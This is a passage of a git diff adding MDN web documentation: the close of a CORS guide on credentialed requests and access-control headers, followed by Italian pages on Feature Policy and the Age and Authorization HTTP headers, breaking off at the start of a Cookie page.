+</blockquote>
+
+<p>The CORS protocol originally required that behavior but <a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">was subsequently changed to no longer require it</a>. However, not all browsers have implemented the change, and so still exhibit the behavior that was originally required.</p>
+
+<p>So until all browsers catch up with the spec, you may be able to work around this limitation by doing one or both of the following:</p>
+
+<ul>
+ <li>change the server-side behavior to avoid the preflight and/or to avoid the redirect—if you have control over the server the request is being made to</li>
+ <li>change the request such that it is a <a href="#Simple_requests">simple request</a> that doesn’t cause a preflight</li>
+</ul>
+
+<p>But if it’s not possible to make those changes, then another way that may be possible is to this:</p>
+
+<ol>
+ <li>Make a <a href="#Simple_requests">simple request</a> (using {{domxref("Response.url")}} for the Fetch API, or {{domxref("XMLHttpRequest.responseURL")}}) to determine what URL the real preflighted request would end up at.</li>
+ <li>Make another request (the “real” request) using the URL you obtained from <code>Response.url</code> or <code>XMLHttpRequest.responseURL</code> in the first step.</li>
+</ol>
+
+<p>However, if the request is one that triggers a preflight due to the presence of the <code>Authorization</code> header in the request, you won’t be able to work around the limitation using the steps above. And you won’t be able to work around it at all unless you have control over the server the request is being made to.</p>
+
+<h3 id="Requests_with_credentials">Requests with credentials</h3>
+
+<p>The most interesting capability exposed by both {{domxref("XMLHttpRequest")}} or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> and CORS is the ability to make "credentialed" requests that are aware of <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> and HTTP Authentication information. By default, in cross-site <code>XMLHttpRequest"</code> or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> invocations, browsers will <strong>not</strong> send credentials. A specific flag has to be set on the <code>XMLHttpRequest"</code> object or the {{domxref("Request")}} constructor when it is invoked.</p>
+
+<p>In this example, content originally loaded from <code class="plain">http://foo.example</code> makes a simple GET request to a resource on <code class="plain">http://bar.other</code> which sets Cookies. Content on foo.example might contain JavaScript like this:</p>
+
+<pre class="brush: js" id="line1">var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/credentialed-content/';
+
+function callOtherDomain(){
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.withCredentials = true;
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}</pre>
+
+<p>Line 7 shows the flag on {{domxref("XMLHttpRequest")}} that has to be set in order to make the invocation with Cookies, namely the <code>withCredentials</code> boolean value. By default, the invocation is made without Cookies. Since this is a simple <code>GET</code> request, it is not preflighted, but the browser will <strong>reject</strong> any response that does not have the {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> header, and <strong>not</strong> make the response available to the invoking web content.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14291/cred-req.png" style="height: 223px; width: 521px;"></p>
+
+<p>Here is a sample exchange between client and server:</p>
+
+<pre class="brush: none">GET /resources/access-control-with-credentials/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://foo.example/examples/credential.html
+Origin: http://foo.example
+Cookie: pageAccess=2
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:34:52 GMT
+Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
+X-Powered-By: PHP/5.2.6
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Credentials: true
+Cache-Control: no-cache
+Pragma: no-cache
+Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 106
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+
+
+[text/plain payload]
+</pre>
+
+<p>Although line 11 contains the Cookie destined for the content on <code class="plain">http://bar.other</code>, if bar.other did not respond with an {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> (line 19) the response would be ignored and not made available to web content.</p>
+
+<h4 id="Credentialed_requests_and_wildcards">Credentialed requests and wildcards</h4>
+
+<p>When responding to a credentialed request, the server <strong>must</strong> specify an origin in the value of the <code>Access-Control-Allow-Origin</code> header, instead of specifying the "<code>*</code>" wildcard.</p>
+
+<p>Because the request headers in the above example include a <code>Cookie</code> header, the request would fail if the value of the <code>Access-Control-Allow-Origin</code> header were "*". But it does not fail: Because the value of the <code>Access-Control-Allow-Origin</code> header is "<code class="plain">http://foo.example</code>" (an actual origin) rather than the "<code>*</code>" wildcard, the credential-cognizant content is returned to the invoking web content.</p>
+
+<p>Note that the <code>Set-Cookie</code> response header in the example above also sets a further cookie. In case of failure, an exception—depending on the API used—is raised.</p>
+
+<h4 id="Third-party_cookies">Third-party cookies</h4>
+
+<p>Note that cookies set in CORS responses are subject to normal third-party cookie policies. In the example above, the page is loaded from <code>foo.example</code>, but the cookie on line 22 is sent by <code>bar.other</code>, and would thus not be saved if the user has configured their browser to reject all third-party cookies.</p>
+
+<h2 id="The_HTTP_response_headers">The HTTP response headers</h2>
+
+<p>This section lists the HTTP response headers that servers send back for access control requests as defined by the Cross-Origin Resource Sharing specification. The previous section gives an overview of these in action.</p>
+
+<h3 id="Access-Control-Allow-Origin">Access-Control-Allow-Origin</h3>
+
+<p>A returned resource may have one {{HTTPHeader("Access-Control-Allow-Origin")}} header, with the following syntax:</p>
+
+<pre class="brush: none">Access-Control-Allow-Origin: &lt;origin&gt; | *
+</pre>
+
+<p><code>Access-Control-Allow-Origin</code> specifies either a single origin, which tells browsers to allow that origin to access the resource; or else — for requests <strong>without</strong> credentials — the "<code>*</code>" wildcard, to tell browsers to allow any origin to access the resource.</p>
+
+<p>For example, to allow code from the origin <code>http://mozilla.org</code> to access the resource, you can specify:</p>
+
+<pre class="brush: none">Access-Control-Allow-Origin: http://mozilla.org</pre>
+
+<p>If the server specifies a single origin rather than the "<code>*</code>" wildcard, then the server should also include <code>Origin</code> in the {{HTTPHeader("Vary")}} response header — to indicate to clients that server responses will differ based on the value of the {{HTTPHeader("Origin")}} request header.</p>
+
+<h3 id="Access-Control-Expose-Headers">Access-Control-Expose-Headers</h3>
+
+<p>The {{HTTPHeader("Access-Control-Expose-Headers")}} header lets a server whitelist headers that browsers are allowed to access. For example:</p>
+
+<pre class="brush: none">Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
+</pre>
+
+<p>This allows the <code>X-My-Custom-Header</code> and <code>X-Another-Custom-Header</code> headers to be exposed to the browser.</p>
+
+<h3 id="Access-Control-Max-Age">Access-Control-Max-Age</h3>
+
+<p>The {{HTTPHeader("Access-Control-Max-Age")}} header indicates how long the results of a preflight request can be cached. For an example of a preflight request, see the above examples.</p>
+
+<pre class="brush: none">Access-Control-Max-Age: &lt;delta-seconds&gt;
+</pre>
+
+<p>The <code>delta-seconds</code> parameter indicates the number of seconds the results can be cached.</p>
+
+<h3 id="Access-Control-Allow-Credentials">Access-Control-Allow-Credentials</h3>
+
+<p>The {{HTTPHeader("Access-Control-Allow-Credentials")}} header Indicates whether or not the response to the request can be exposed when the <code>credentials</code> flag is true. When used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. Note that simple <code>GET</code> requests are not preflighted, and so if a request is made for a resource with credentials, if this header is not returned with the resource, the response is ignored by the browser and not returned to web content.</p>
+
+<pre class="brush: none">Access-Control-Allow-Credentials: true
+</pre>
+
+<p><a class="internal" href="#Requests_with_credentials">Credentialed requests</a> are discussed above.</p>
+
+<h3 id="Access-Control-Allow-Methods">Access-Control-Allow-Methods</h3>
+
+<p>The {{HTTPHeader("Access-Control-Allow-Methods")}} header specifies the method or methods allowed when accessing the resource. This is used in response to a preflight request. The conditions under which a request is preflighted are discussed above.</p>
+
+<pre class="brush: none">Access-Control-Allow-Methods: &lt;method&gt;[, &lt;method&gt;]*
+</pre>
+
+<p>An example of a <a class="internal" href="#Preflighted_requests">preflight request is given above</a>, including an example which sends this header to the browser.</p>
+
+<h3 id="Access-Control-Allow-Headers">Access-Control-Allow-Headers</h3>
+
+<p>The {{HTTPHeader("Access-Control-Allow-Headers")}} header is used in response to a <a class="internal" href="#Preflighted_requests">preflight request</a> to indicate which HTTP headers can be used when making the actual request.</p>
+
+<pre class="brush: none">Access-Control-Allow-Headers: &lt;field-name&gt;[, &lt;field-name&gt;]*
+</pre>
+
+<h2 id="The_HTTP_request_headers">The HTTP request headers</h2>
+
+<p>This section lists headers that clients may use when issuing HTTP requests in order to make use of the cross-origin sharing feature. Note that these headers are set for you when making invocations to servers. Developers using cross-site {{domxref("XMLHttpRequest")}} capability do not have to set any cross-origin sharing request headers programmatically.</p>
+
+<h3 id="Origin">Origin</h3>
+
+<p>The {{HTTPHeader("Origin")}} header indicates the origin of the cross-site access request or preflight request.</p>
+
+<pre class="brush: none">Origin: &lt;origin&gt;
+</pre>
+
+<p>The origin is a URI indicating the server from which the request initiated. It does not include any path information, but only the server name.</p>
+
+<div class="note"><strong>Note:</strong> The <code>origin</code> can be the empty string; this is useful, for example, if the source is a <code>data</code> URL.</div>
+
+<p>Note that in any access control request, the {{HTTPHeader("Origin")}} header is <strong>always</strong> sent.</p>
+
+<h3 id="Access-Control-Request-Method">Access-Control-Request-Method</h3>
+
+<p>The {{HTTPHeader("Access-Control-Request-Method")}} is used when issuing a preflight request to let the server know what HTTP method will be used when the actual request is made.</p>
+
+<pre class="brush: none">Access-Control-Request-Method: &lt;method&gt;
+</pre>
+
+<p>Examples of this usage can be <a class="internal" href="#Preflighted_requests">found above.</a></p>
+
+<h3 id="Access-Control-Request-Headers">Access-Control-Request-Headers</h3>
+
+<p>The {{HTTPHeader("Access-Control-Request-Headers")}} header is used when issuing a preflight request to let the server know what HTTP headers will be used when the actual request is made.</p>
+
+<pre class="brush: none">Access-Control-Request-Headers: &lt;field-name&gt;[, &lt;field-name&gt;]*
+</pre>
+
+<p>Examples of this usage can be <a class="internal" href="#Preflighted_requests">found above</a>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>New definition; supplants <a href="https://www.w3.org/TR/cors/">W3C CORS</a> specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p>
+
+<h3 id="Compatibility_notes">Compatibility notes</h3>
+
+<ul>
+ <li>Internet Explorer 8 and 9 expose CORS via the <code>XDomainRequest</code> object, but have a full implementation in IE 10.</li>
+ <li>While Firefox 3.5 introduced support for cross-site <code>XMLHttpRequests</code> and Web Fonts, certain requests were limited until later versions. Specifically, Firefox 7 introduced the ability for cross-site HTTP requests for WebGL Textures, and Firefox 9 added support for Images drawn on a canvas using <code>drawImage()</code>.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li>
+ <li><a href="https://enable-cors.org/server.html">Enable CORS: I want to add CORS support to my server</a></li>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+ <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li>
+ <li><a class="external" href="http://www.kendoui.com/blogs/teamblog/posts/11-10-03/using_cors_with_all_modern_browsers.aspx">Using CORS with All (Modern) Browsers</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/cors/">Using CORS - HTML5 Rocks</a>
+  <ul>
+  </ul>
+ </li>
+ <li><a class="external" href="https://arunranga.com/examples/access-control/">Code Samples Showing <code>XMLHttpRequest</code> and Cross-Origin Resource Sharing</a></li>
+ <li><a href="https://github.com/jackblackevo/cors-jsonp-sample">Client-Side &amp; Server-Side (Java) sample for Cross-Origin Resource Sharing (CORS)</a></li>
+ <li><a class="internal" href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Cross-Origin Resource Sharing From a Server-Side Perspective (PHP, etc.)</a></li>
+ <li><a href="https://stackoverflow.com/questions/43871637/no-access-control-allow-origin-header-is-present-on-the-requested-resource-whe/43881141#43881141">Stack Overflow answer with “how to” info for dealing with common problems</a>:
+  <ul>
+   <li>How to avoid the CORS preflight</li>
+   <li>How to use a CORS proxy to get around <em>“No Access-Control-Allow-Origin header”</em></li>
+   <li>How to fix <em>“Access-Control-Allow-Origin header must not be the wildcard”</em></li>
+  </ul>
+ </li>
+</ul>
+
+<div>{{HTTPSidebar}}</div>
diff --git a/files/it/web/http/feature_policy/index.html b/files/it/web/http/feature_policy/index.html
new file mode 100644
index 0000000000..921233b391
--- /dev/null
+++ b/files/it/web/http/feature_policy/index.html
@@ -0,0 +1,161 @@
+---
+title: Feature Policy
+slug: Web/HTTP/Feature_Policy
+translation_of: Web/HTTP/Feature_Policy
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><span class="seoSummary">La Funzionalità di policy consente agli sviluppatori web di abilitare, disabilitare e modificare il comportamento di certe funzionalità e API all'interno del browser . E' simile a </span> {{Glossary("CSP", "Content Security Policy")}} ma controlla le funzionalità anzichè il comportamento di sicurezza.</p>
+
+<div class="note">
+<p>The <code>Feature-Policy</code> l'intestazione è stata rinominata in Permissions-Policy nella specifica, ed eventualmente questo articolo verrà aggiornato per riflettere tale modifica.</p>
+</div>
+
+<h2 id="In_poche_parole">In poche parole</h2>
+
+<p>Feature Policy(politiche sulla funzionalità) fornisce un metodo per dichiarare esplicitamente quale funzione viene utilizzata(o non utilizzata) in tutto il sito web. Ciò permette di mantenere le migliori condizioni applicative, anche se la base del codice evolve nel tempo — come nel caso dell'utilizzo più sicuro di contenuti di terze parti — limitandosi alle funzionalità disponibili.</p>
+
+<p>Con le Feature Policy, ti rivolgi ad un insieme di "politiche" affinchè il browser applichi funzionalità specifiche utilizzate nel sito web. Queste politiche limitano le API a cui il sito può accedere o modificare il comportamento predefinito del browser per alcune funzionalità.</p>
+
+<p>Esempi di quello che puoi fare con le Feature Policy:</p>
+
+<ul>
+ <li>Modifica il comportamento predefinito della riproduzione automatica su dispositivi mobili e video di terze parti.</li>
+ <li>Impedisce a un sito di utilizzare API sensibili come quelle che utilizzano fotocamera o microfono.</li>
+ <li>Permette agli iframes di utilizzare (API a schermo intero)<a href="/en-US/docs/Web/API/Fullscreen_API">fullscreen API</a>.</li>
+ <li>Blocca l'utilizzo di API absolete come: <a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">synchronous XHR</a> e {{domxref("document.write()")}}.</li>
+ <li>Assicurarsi che le immagini siano dimensionate correttamente e non siano troppo grandi per la visualizzazione.</li>
+</ul>
+
+<h2 id="Concetti_e_utilizzo">Concetti e utilizzo</h2>
+
+<p>Le Feature Policy permettono di controllare quali origini possono usare le funzionalità, sia nella pagina di primo livello che nei frame incorporati. In sostanza, scrivere una policy, che è un elenco autorizzato di origini per ciascuna funzionalità. per ogni funzionalità controllata dalle Feature Policy, la funzionalità è abilitata solamente nel documento o frame corrente se la sua origine corrisponde all'elenco di origini autorizzate.</p>
+
+<p>Per ognuna delle funzionalità controllata dalle policy, il browser conserva un elenco di origini per la quale la funzionalità è abilitata, è noto come allowlist(elenco consentito). Se non specifichi una policy per una funzionalità, verrà utilizzato un elenco di autorizzazioni predefinito. L'elenco predefinito è specifico per ciascuna funzionalità.</p>
+
+<h3 id="Scrivere_una_Politica">Scrivere una Politica</h3>
+
+<p>Una politica viene descritta utilizzando una serie di direttive politiche individuali. Una direttiva politica è una combinazione di un nome di una funzionalità definita e un elenco di origini consentite che possono utilizzare la funzionalità.</p>
+
+<h3 id="Specificare_la_tua_politica">Specificare la tua politica</h3>
+
+<p> Le Feature Policy offrono due modi per specificare le politiche per controllare le funzionalità:</p>
+
+<ul>
+ <li>The {{httpheader("Feature-Policy")}} nel HTTP header.(HTTP header)</li>
+ <li>The {{HTMLElement("iframe","<code>allow</code>","#Attributes")}} attributi di iframes.</li>
+</ul>
+
+<p>La differenza principale tra intestazione HTTP e l'attributo <code>allow</code> è che l'attributo allow controlla solo le funzionalità all'interno di un iframe. L'intestazione controlla caratteristiche della risposta e qualsiasi contenuto incorporato nella pagina.</p>
+
+<p>Per maggiori dettagli guardare <a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Using Feature Policy</a>.</p>
+
+<h3 id="Inferring_the_policy">Inferring the policy</h3>
+
+<p>Gli script possono eseguire query in modo da ottenere delle informazioni sulle policy delle funzionalità tramite:</p>
+
+<p>{{DOMxRef("FeaturePolicy")}} situato in  {{DOMxRef("Document.featurePolicy")}} o {{DOMxRef("HTMLIFrameElement.featurePolicy")}}.</p>
+
+<h2 id="Tipi_di_funzionalità_controllate_da_criteri">Tipi di funzionalità controllate da criteri</h2>
+
+<p>Sebbene le Feature Policy forniscano il controllo di più funzionalità utilizzando una sintassi coerente, il comportamento delle funzionalità controllate dalle politiche varia, e dipende da diversi fattori.</p>
+
+<p>Il principio generale è che dovrebbe esserci un modo intuitivo o univoco per gli sviluppatori web di rilevare o gestire il caso in cui la funzione è disablitata. Le nuove funzionalità introdotte possono avere un'API esplicita per segnalare lo stato. Le funzionalità esistenti che successivamente si integrano con le Feature Policy utilizzeranno in genere i meccanismi esistenti. Alcuni metodi includono:</p>
+
+<ul>
+ <li>Restituisce "permission denied" per le APi javascript che richiedono permessi per autorizzazioni utenti.</li>
+ <li>Restituisce  <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">false </span></font>o errore da una API javascript esistente che fornisce l'accesso alla funzionalità.</li>
+ <li>Modifica i valori predefiniti o le opzioni che controllano il comportamento della funzionalità.</li>
+</ul>
+
+<p>L'attuale insieme di funzionalità gestite dalle politiche si dividono in due grandi gruppi:</p>
+
+<ul>
+ <li>Applicazione delle migliori pratiche per una buona esperienza utente.</li>
+ <li>Fornire un controllo granulare su funzionalità sensibili o potenti.</li>
+</ul>
+
+<h3 id="Le_abitudini_migliori_per_una_buona_esperienza_utente">Le abitudini migliori per una buona esperienza utente</h3>
+
+<p>Sono disponibili diverse funzionalità controllate da criteri per applicare le migliori pratiche per fornire una buone prestazioni e esperienze utente.</p>
+
+<p>Nella maggior parte dei casi le funzionalità controllate dai criteri, rappresentano funzionalità che, se utilizzate, avranno un impatto negativo sull'esperienza utente. Per evitare di interropere il contenuto web esistente, l'impostazione predefinita per tali funzionalità, è consentirne l'utilizzo da parte di tutte le origini. Le procedure consigliate quindi, vengono applicate utilizzando criteri che disabilitano la funzionalità di altri criteri. Per ulteriori dettagli vedere "Enforcing best practices for good user experiences".</p>
+
+<p>Le funzionalità includono:</p>
+
+<ul>
+ <li>Layout-inducing animations</li>
+ <li>Formato delle immagini precedenti</li>
+ <li>Immagini di grandi dimensioni</li>
+ <li>Scripts sincronizzati</li>
+ <li>Synchronous XMLHTTPRequest</li>
+ <li>immagini non ottimizzate</li>
+ <li>supporti non dimensionati</li>
+</ul>
+
+<h3 id="Controllo_granulare_su_alcune_funzionalità">Controllo granulare su alcune funzionalità</h3>
+
+<p>Il Web fornisce funzionalità e API che potrebbero comportare rischi per la privacy o la sicurezza se utilizzati in modo improprio. In alcuni casi potresti voler limitare il modo in cui questa funzionalità viene utilizzata su un sito web. Esistono funzionalità controllate da criteri per consentire l'abilitazione/disabilitazione della funzionalità per origini o frame specifici all'iterno di un sito web. Dove disponibile la funzionalità si integra con l'API di autorizzazione o con i meccanismi specifici di funzionalità per verificare se la funzione è disponibile.</p>
+
+<p>Le funzionalità includono (guarda <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Feature-Policy#Directives">Features list</a>):</p>
+
+<ul>
+ <li>Accelerometro</li>
+ <li>Sensore di luminosità ambientale</li>
+ <li>Riproduzione automatica</li>
+ <li>Fotocamera</li>
+ <li>Media crittografati</li>
+ <li>Schermo intero</li>
+ <li>Geolocalizzazione</li>
+ <li>Giroscopio</li>
+ <li>Magnetometro</li>
+ <li>Microfono</li>
+ <li>Midi</li>
+ <li>Richieste di pagamento</li>
+ <li>Picture-in-picture</li>
+ <li>USB</li>
+ <li>API di condivisione web</li>
+ <li>VR / XR</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Using Feature Policy</a></li>
+ <li>Guarda <a href="http://feature-policy-demos.appspot.com/">Feature Policy Demos</a> per esempio l'utilizzo di molte politiche.</li>
+</ul>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Feature Policy","#feature-policy-http-header-field","Feature-Policy")}}</td>
+   <td>{{Spec2("Feature Policy")}}</td>
+   <td>Definizione iniziale. Definisce l'intestazione {{httpheader("Feature-Policy")}} . LE direttive sono definite nelle specifiche per le funzionalità che controllano. Vedere le pagine delle singole direttive per i dettagli.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">La tabella di compatibilità in questa pagina è generata da dati strutturati. Se desideri contribuire ai dati, visita <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> einviaci una richiesta.</div>
+
+<p>{{Compat("http.headers.Feature-Policy")}}</p>
+
+<h2 id="Guarda_anche">Guarda anche:</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Using Feature Policy</a></li>
+ <li>{{HTTPHeader("Feature-Policy")}} HTTP header</li>
+ <li>{{HTMLElement("iframe","<code>allow</code>","#Attributes")}} attribute on iframes</li>
+ <li><a href="https://developers.google.com/web/updates/2018/06/feature-policy">Introduction to Feature Policy</a></li>
+ <li><a href="https://www.chromestatus.com/features#component%3A%20Blink%3EFeaturePolicy">Feature policies on www.chromestatus.com</a></li>
+ <li><a href="https://chrome.google.com/webstore/detail/feature-policy-tester-dev/pchamnkhkeokbpahnocjaeednpbpacop">Feature-Policy Tester (Chrome Developer Tools extension)</a></li>
+ <li><a href="/en-US/docs/Web/Privacy">Privacy, permissions, and information security</a></li>
+</ul>
diff --git a/files/it/web/http/headers/age/index.html b/files/it/web/http/headers/age/index.html
new file mode 100644
index 0000000000..5a4f1d20c3
--- /dev/null
+++ b/files/it/web/http/headers/age/index.html
@@ -0,0 +1,69 @@
+---
+title: Age
+slug: Web/HTTP/Headers/Age
+translation_of: Web/HTTP/Headers/Age
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'header <code><strong>Age</strong></code> contiene il tempo in secondi di presenza dell'oggetto nella cache del proxy.</p>
+
+<p>L'header <code>Age</code> è solitamente prossimo allo zero. Se è <code>Age: 0</code>, è stato probabilmente da poco reperito dal server di origine; altrimenti viene calcolato come la differenza tra la data corrente del proxy e l' {{HTTPHeader("Date")}} header incluso nella risposta HTTP.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">Age: &lt;delta-seconds&gt;
+</pre>
+
+<h2 id="Direttive">Direttive</h2>
+
+<dl>
+ <dt>&lt;delta-seconds&gt;</dt>
+ <dd>
+ <p>Un intero non negativo, che rappresenta il tempo in secondi di presenza dell'oggetto nella cache del proxy.</p>
+ </dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre>Age: 24</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7234", "Age", "5.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+<p class="hidden">La tabella di compatibilità di questa pagina è generata dai dati strutturati. Se vuoi contribuire ai dati controlla <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una pull request.</p>
+
+<p>{{Compat("http.headers.Age")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("Expires")}}</li>
+</ul>
diff --git a/files/it/web/http/headers/authorization/index.html b/files/it/web/http/headers/authorization/index.html
new file mode 100644
index 0000000000..0b732b40a2
--- /dev/null
+++ b/files/it/web/http/headers/authorization/index.html
@@ -0,0 +1,88 @@
+---
+title: Authorization
+slug: Web/HTTP/Headers/Authorization
+tags:
+  - Riferimenti
+translation_of: Web/HTTP/Headers/Authorization
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La richiesta header HTTP <strong><code>Authorization</code></strong> contiene le credenziali per autenticare un utente con il server, solitamente dopo che il server ha risposto con {{HTTPStatus("401")}} <code>Unauthorized</code> status e con un header {{HTTPHeader("WWW-Authenticate")}} .</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo Header</th>
+   <td>{{Glossary("richiesta header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Header name proibito")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">Authorization: &lt;tipo&gt; &lt;credenziali&gt;</pre>
+
+<h2 id="Direttive">Direttive</h2>
+
+<dl>
+ <dt>&lt;tipo&gt;</dt>
+ <dd><a href="/en-US/docs/Web/HTTP/Authentication#Authentication_schemes">Tipo di autenticazione</a>. Un tipo comune è <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">"Basic"</a>. Altri tipi sono:
+ <ul>
+  <li><a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">IANA registry of Authentication schemes</a></li>
+  <li><a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">Authentification for AWS servers (<code>AWS4-HMAC-SHA256</code>)</a></li>
+ </ul>
+ </dd>
+ <dt>&lt;credenziali&gt;</dt>
+ <dd>Se viene usato il tipo di autenticazione "Basic" le credenziali sono formate in questo modo:
+ <ul>
+  <li>Lo username e la password sono combinate con il simbolo dei due punti (<code>aladdin:opensesame</code>).</li>
+  <li>La stringa risultante è codificata in <a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">base64</a> (<code>YWxhZGRpbjpvcGVuc2VzYW1l</code>).</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>Note</strong>: La codifica Base64 non significa che venga effettuato un hash o una cifratura! Questo metodo è sicuro tanto quanto mandare le credenziali in chiaro (base64 è un codifica reversibile). Preferibilmente usa la Basic Authentication assieme al protocollo HTTPS.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre>Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l
+</pre>
+
+<p>Guarda anche<a href="/en-US/docs/Web/HTTP/Authentication"> HTTP authentication</a> per esempi su come configurare i server Apache o nginx con password per proteggere i tuoi siti con l'autenticazione HTTP.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7235", "Authorization", "4.2")}}</td>
+   <td>HTTP/1.1: Authentication</td>
+  </tr>
+  <tr>
+   <td>{{RFC("7617")}}</td>
+   <td>The 'Basic' HTTP Authentication Scheme</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/it/web/http/headers/cookie/index.html b/files/it/web/http/headers/cookie/index.html
new file mode 100644
index 0000000000..b89fc207fd
--- /dev/null
+++ b/files/it/web/http/headers/cookie/index.html
@@ -0,0 +1,74 @@
+---
+title: Cookie
+slug: Web/HTTP/Headers/Cookie
+tags:
+  - Cookies
+  - Guida
+  - HTTP
+  - header
+  - richiesta
+translation_of: Web/HTTP/Headers/Cookie
+---
+<div>{{HTTPSidebar}}</div>
+
